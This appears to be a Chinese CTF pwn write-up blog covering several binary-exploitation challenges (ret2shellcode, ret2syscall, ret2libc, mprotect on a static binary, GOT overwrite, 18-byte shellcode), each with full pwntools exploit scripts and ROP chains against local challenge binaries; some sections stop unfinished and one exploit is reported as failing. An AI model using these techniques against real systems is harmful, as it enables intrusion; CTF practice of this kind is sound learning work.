感谢西电ctf平台

ez_shellcode

肆意溢出并构造shellcode吧!
checksec查保护,运行
alt text
发现值开启了PIE保护,程序允许输入并输出一段地址,放入ida中反编译瞅瞅
漏洞点在fun()函数中
alt text
可以看到,read函数的接受值可以由用户进行控制的,同时会打印出nbytes_4的地址,最后将nbytes_4读入。我们想要的是利用read函数打栈溢出,造成ret2shellcode。
这里我们可以控制读入shellcode到程序输出的地址,就是nbytes_4的地址,将payload写入,然后执行即可。
我们来计算造成栈溢出的偏移量为96
alt text
可以看到,nbytes_4段可读可写可执行
alt text
编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3  

from pwn import *

sh = process("./pwn")
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'

sh.recvuntil('age')
sh.sendline('200')
sh.recvuntil('you :\n')
buf_addr = int(sh.recvuntil('\n').decode(),16)
log.success(buf_addr)
log.success(type(buf_addr))
payload = asm(shellcraft.sh()).ljust((0x60 + 0x08), b'a') + p64(buf_addr)
sh.recvuntil("say")
sh.sendline(payload)
sh.interactive()

成功本地打通:
alt text
打远程
alt text

NotEnoughTime

在正式开始 Pwn 之前,我需要先检测一下你的数学 (?) 能力…

连接远程环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *  
import math

context.log_level='debug'

sh = remote('127.0.0.1', 43425)
sh.recvuntil("Test start, you have only 30 seconds.\nLet's begin with simple ones.\n")
title = sh.recvuntil('=').strip().decode()[:-1]
result = eval(title)
sh.sendline(str(result))
title = sh.recvuntil('=').strip().decode()[:-1]
result = math.floor(eval(title))
sh.sendline(str(result))
sh.recvuntil('OK, then some tough ones. Be WELL PREPARED!\n')
for i in range(100):
title = sh.recvuntil('=').strip().decode()[:-1]
title = title.replace("\n","").replace(" ","").replace(" ","")
print("title",title)
result = math.floor(eval(title))
print(result)
sh.sendline(str(result))

这是什么?32-bit!

Linux 遵循的 AMD64 System V ABI 使用 6 个寄存器(rdi、rsi…)传递函数参数,参数数量大于 6 个时才继续使用栈传递参数。然而 32 位程序只使用栈传递参数,参数从右至左依次入栈。

checksec+运行,32位程序,只开启NX保护,要求输入
alt text
输入过长明文会崩溃
alt text
使用ida打开查看,发现vuln函数,查看:
alt text
发现backdoor函数,查看,为后门函数,但是好像有点不对劲,fakefalg是什么鬼,本题的目的应该是需要拿shell的:
alt text
发现存在scanf的栈溢出漏洞,关于scanf栈溢出,这里正好是scanf("%s",s),所以我们可以打栈溢出到backdoor函数。
计算偏移为41,因为回车符也会被录入,所以这里的实际偏移为40
alt text
使用ROPgadget查到execve函数及binsh地址为:
alt text
这里既然有execve,那么则是让我们打ret2syscall
编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3  

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

sh = process('./backdoor')
elf = ELF('./backdoor')

execve_addr = 0x080490A0
bin_sh = 0x0804a011

# payload = flat([
# b'a' * (0x28 + 0x04), elf.sym[b'execve'], 0, next(elf.search(b'/bin/sh')), 0, 0
# ])
payload = flat([
b'a' * (0x28 + 0x04), execve_addr, 0, bin_sh, 0, 0
])
sh.sendline()
gdb.attach(sh)
sh.sendlineafter('Enter the password: ', payload)

sh.interactive()

中间出了点小问题,脑袋抽抽了用ROPgadget查了execve的地址用上了,我说怎么打不通。
alt text差点踩坑里
alt text

TGCTF-签到

写不出来?回家吧孩子,回家吧
ret2libc,给出了所用的libc版本。
使用checksec查保护。64位程序,仅开启NX保护。
alt text
使用ida反编译进行审计,发现程序内无system('/bin/sh),漏洞点在gets函数栈溢出,并且存在puts函数。
alt text
对于无system/bin/sh的情况,参考下面大佬的文章:
《重生之我在yctu做pwn手》系列视频笔记
因为本题中存在puts函数,所以我们这里泄露puts函数的地址来计算libc的基地址,从而构造system('/bin/sh')
计算偏移
alt text

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3  
# -*- coding: utf-8 -*-
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'

sh = process('./pwn')
# sh = remote("127.0.0.1", 42581)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

pop_rdi_ret = 0x0401176
main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
p1 = b'a' * (0x70 + 0x08)
p1 += p64(pop_rdi_ret)
p1 += p64(puts_got)
p1 += p64(puts_plt)
p1 += p64(main)


#gdb.attach(sh)
print(hex(puts_got))
print(hex(puts_plt))

print(hex(main))
sh.sendline(p1)

libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print("libc_base", hex(libc_base))
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base

p2 = b'b' * (0x70 + 0x08)
p2 += p64(pop_rdi_ret)
p2 += p64(bin_sh)
p2 += p64(0x40101a)
p2 += p64(system)
sh.sendline(p2)
sh.interactive()

不知道为什么,我在做的时候一直会卡在这一步,导致我一直以为我的exp是错误的,一直改改改,😭。
alt text
最后看到大佬发的wp,对照了一下,没问题,于是多跑了几遍,才出来。😡

TGCTF-overflow

最简单的溢出了,应该把它设置成签到的

checksec查保护,32位程序,发现开启了NX与canary保护。
alt text
使用ida反编译后发现,该程序使用静态链接,使用ldd确定:
alt text
alt text
存在gets函数栈溢出漏洞,且程序中不存在system函数及/bin/sh字符串
alt text
确定偏移为0xD0
alt text
静态编译的pwn题,参考该大佬的文章:
[pwn]静态编译
mprotect静态编译
在遇到静态编译的题目时,我们不能同过泄露libc的方式来攻击,只能寻找是否存在system函数或者存在mprotect函数。该函数的作用是,可以修改一段内存的权限。
mprotect
mprotect()
在linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
函数原型如下:
alt text

mprotect()函数把自start开始的,长度为len的内存去的保护属性修改为prot指定的值。
port可以取以下几个值,并且可以用’|’将几个属性合起来使用(在sys/mman.h中定义):

  1. PORT_READ: 表示内存段内的内容可读;
  2. PROT_WRITE: 表示内存段内的内存可写;
  3. PORT_EXEC: 表示内存段中的内容可执行,要成功使用改标志,进程必需启用PROCMGR_AID_PROT_WRITE_AND_EXEC权限。;
  4. PROT_NONE: 表示内存段中的内存不可被访问(不可读、不可写、不可执行);
  5. PROT_NOCACHE: 禁用该区域的缓存(例如用于访问双端口内存),在ARM架构上,PROT_NOCACHE会使RAM被映射为正常非缓存类型,但非RAM区域则会映射为“强序设备内存”。;

需要指出的是:锁指定的内存区间必需包含整个内存页(4K)。区间开始的地址start必需是一个内存页的起始地址,并且区间len必须是页大小的整数倍。
如果执行成功,则返回0(success);如果执行失败,则返回-1(发生了错误,设置errno),说明具体因为什么原因造成调用失败。错误原因主要有以下几个:

  1. EACCES:
    • 内存对象未以读取方式打开,即使指定了读保护
    • 内存对象未以写入方式打开,但你为MAP_SHARED类型指定了PROT_WRITE
    • 你为一个内存映射文件指定了PROT_EXEC,但该文件对客户端进程没有执行权限,并且procnto是使用-mx选项启动的。
  2. EINAIN: prot参数为MAP_PRIVATE映射指定了PROT_WRITE,但系统资源不足,无法为锁定私有页预留内存。
  3. ENOMEM:
    • addr开始的地址范围(长度为len字节)超出了进程地址空间允许的范围,或者包含一个或多个未映射的页面;
    • prot参数为MAP_PRIVATE映射指定了PROT_WRITE,而锁定这些私有页(如果需要)需要的空间超出系统能提供的预留容量;
    • 系统可用内存不足,无法将PROT_NONE映射转换为PROT_READ和/或PROT_WRITE
  4. ENOSYS: 当前实现不支持mprotect()函数。
  5. EPERM:
    • 调用进程没有所需权限(见procmgr_ability
    • 或者试图为受不信任内存映射文件覆盖的区域设置PROT_EXEC

我们查找是否存在mprotect()函数。
alt text
然后,寻找可以修改权限的内存页,来实现写入payload。使用gdb进行调试寻找。
alt text
从下往上看汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
add     esp, 10h  
sub esp, 0Ch
lea eax, (aCouldYouTellMe - 80EE000h)[ebx] ; "could you tell me your name?"
push eax
call puts
add esp, 10h
sub esp, 4
push 100h
lea eax, (name - 80EE000h)[ebx]
push eax
push 0
call read
add esp, 10h
sub esp, 0Ch
lea eax, (aIHeardYouLoveG - 80EE000h)[ebx] ; "i heard you love gets,right?"
push eax
call puts
add esp, 10h
sub esp, 0Ch
lea eax, [ebp+buf]
push eax
call gets
add esp, 10h
mov eax, 0
lea esp, [ebp-8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx-4]
retn

最后retn的值是ecx-4,而ecx寄存器的值保存在ebp-8,buf距离ebp0xD0。这里我们先将要执行的mprotect对name所在内存页赋予可读可写可执行的权限与shellcode写入name中,最后,利用gets溢出跳转到name的地址,此时便会先执行mprotect授权,然后执行shellcode拿到权限。
再细说下流程:
首先,name所在的.bss段是可以写入的,并且可写入字节数足够大,但不可以执行,所以,我们首先构造使用mprotect对name所在.bss段的内存页进行提权的代码段,再跟上我们要使用shellcode。将这一段代码先写入name所在的.bss段中去。然后,到gets函数时,覆盖到ebp-8的位置,也就是ecx的地址,则ecx-4的地址即为name的地址,返回到name地址后,第一步便会执行mprotect进行提权,然后执行shellcode。
这里贴出chat给出的解释

alt text
写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3  

from pwn import *
from struct import pack

context(os='linux', arch='i386', log_level='debug')

sh = process("./pwn")
# sh = remote("", )

mprotect_addr = 0x08070A70
name = 0x080EF320

payload = p32(mprotect_addr) + p32(name + 0x14) + p32(0x080EF000) + p32(0x1000) + p32(0x07) + asm(shellcraft.sh())
sh.recvuntil(b"could you tell me your name?\n")
sh.sendline(payload)
payload = b'a' * (0xD0 - 0x08) + p32(name + 0x04)
sh.recvuntil(b"i heard you love gets,right?\n")
sh.sendline(payload)
sh.interactive()

alt text
还有一种方式利用ret2syscall,写好rop链后使用栈迁移到该地址继续执行即可。
使用ROPgadget来搜索指令片段,构成call system('/bin/sh')
1
ROPgadget --binary ./pwn --ropchain

alt text
然后利用栈迁移,跟exp1的构造方法差不多,都是迁移到name段开始执行代码。
exp2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3  

from pwn import *
from struct import pack

context(os='linux', arch='amd64', log_level='debug')
sh = process('./pwn')

name = 0x080EF320
# Padding goes here
p = b''

p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080b470a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee064) # @ .data + 4
p += pack('<I', 0x080b470a) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080507e0) # xor eax, eax ; ret
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x08049802) # pop ecx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080507e0) # xor eax, eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08049c6a) # int 0x80

sh.recvuntil(b"could you tell me your name?\n")
sh.sendline(p)

payload = b'a' * (0xD0 - 0x08) + p32(name + 0x04)
sh.sendline(payload)
sh.sendline(b"/bin/sh\x00")

sh.interactive()

alt text

TGCTF-shellcode

反正我是够用了,仔细看看寄存器吧

checksec查保护,运行随手输入发现存在输入限制,开启了PIE保护以及NX保护。
alt text
使用IDA反编译查看:
alt text

alt text
看不懂,问完chat后,明白了代码执行逻辑。先看一下mmap函数:
C语言–mmap()函数
然后让我们来看程序实现逻辑:
首先关闭标准输入输出及错误输出的缓冲,确保输入输出实时刷新,便于交互,然后输出提示语。接下来,使用mmap函数分配了一段大小为0x1000字节的内存,刚好为一页内存,设置这页内存的权限为可读可写可执行,设置这段内存是匿名映射且不共享。完成后返回地址保存在buf中。然后,调用read函数读取0x12字节保存到buf中。接下来使用mprotect()buf所在内存页(也就是上述使用mmap()函数修改为可读可写可执行权限的内存页)修改为只读权限。接下来,跳转到buf段中开始执行代码。

利用方法就很明了了,由于该题关闭了二次读入,所以我们需要使用read函数读入0x12字节的shellcode即可。
使用gdb调试一下:
alt text
可以发现,传入的数值仅在RDI寄存器中,所以我们可以利用add al, 0x3b,使rax = 0x3b,即execvesyscall编号,接下来使用add rdi, 0x8,修改rdi寄存器的值偏移0x08字节,接下来使用syscall发起系统调用,实际上是调用了execve,接下来,再发送/bin/sh\x00,构成execve('/bin/sh'),拿到shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
# sh = remote("", )

sh.recvuntil(b"try to show your strength \n")

payload = asm('''
add al, 0x3b
add rdi, 0x8
syscall
''')
payload += b'/bin/sh\x00'
gdb.attach(sh)
sh.sendline(payload)
print(len(payload))
sh.interactive()

没打通,哈哈,看到其他大佬的exp应该是打通了的,没想通是什么原因,有大佬可以告诉我嘛。调试出的报错是因为没有给予execve后面两个参数。
alt text

TGCTF-stack

模拟了,但没完全模拟
checksec+运行,得到基本信息,仅开启NX保护,并且存在两次输入。
alt text
IDA反编译进行查看。

NX_on

NX保护开启,你该怎么办?
checksec查保护,64位程序,开启了NX保护与canary保护
alt text
使用ida反编译。
alt text
alt text
静态编译程序。

这是什么?GOT!

现代 Linux 可执行文件基本都是动态链接的 ELF 格式文件。大多数程序运行时都需要使用外部库函数(libc!),动态连接器 ld 架起了程序与动态链接库之间的桥梁。程序内部的 GOT(全局偏移表)负责记录这些库函数真正的地址或用于调用动态链接器的 PLT(过程链接表)项地址(首次调用前)。动态链接程序运行时不直接调用库函数,而是调用 PLT 项。在未完全开启 RELRO(重定向只读)保护时,我们可以在运行时修改 GOT!
checksec查保护,64位程序,开启NX保护
alt text
ida反编译
alt text
可利用的点在read函数处,off_404000指向的是puts@got地址处,意思是可以向puts@got及以后的地址写入最多64字节的数据,也就是我们可以直接覆盖掉puts@got及以后的数据,来控制程序执行流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = remote("127.0.0.1", 34429)
# sh = process("./pregot")
elf = ELF("./pregot")

system_plt = 0x0401056
unreachable = 0x0401196

payload = b'a' * 0x10 + p64(system_plt) + b'b' * 0x20 + p64(unreachable)

sh.sendline(payload)
sh.interactive()

这是什么?libc

不好,PIE(位置无关程序)保护开启后,程序本身运行时加载到内存里的位置再也无法预测。隔壁 libc 也因为 ASLR(地址空间布局随机化)而难以利用。
诶🤓,如果,我是说如果我们能拿到一个 libc 中的地址,那么整个 libc 就尽在掌握了。ASLR 不会改变程序内部符号间偏移量。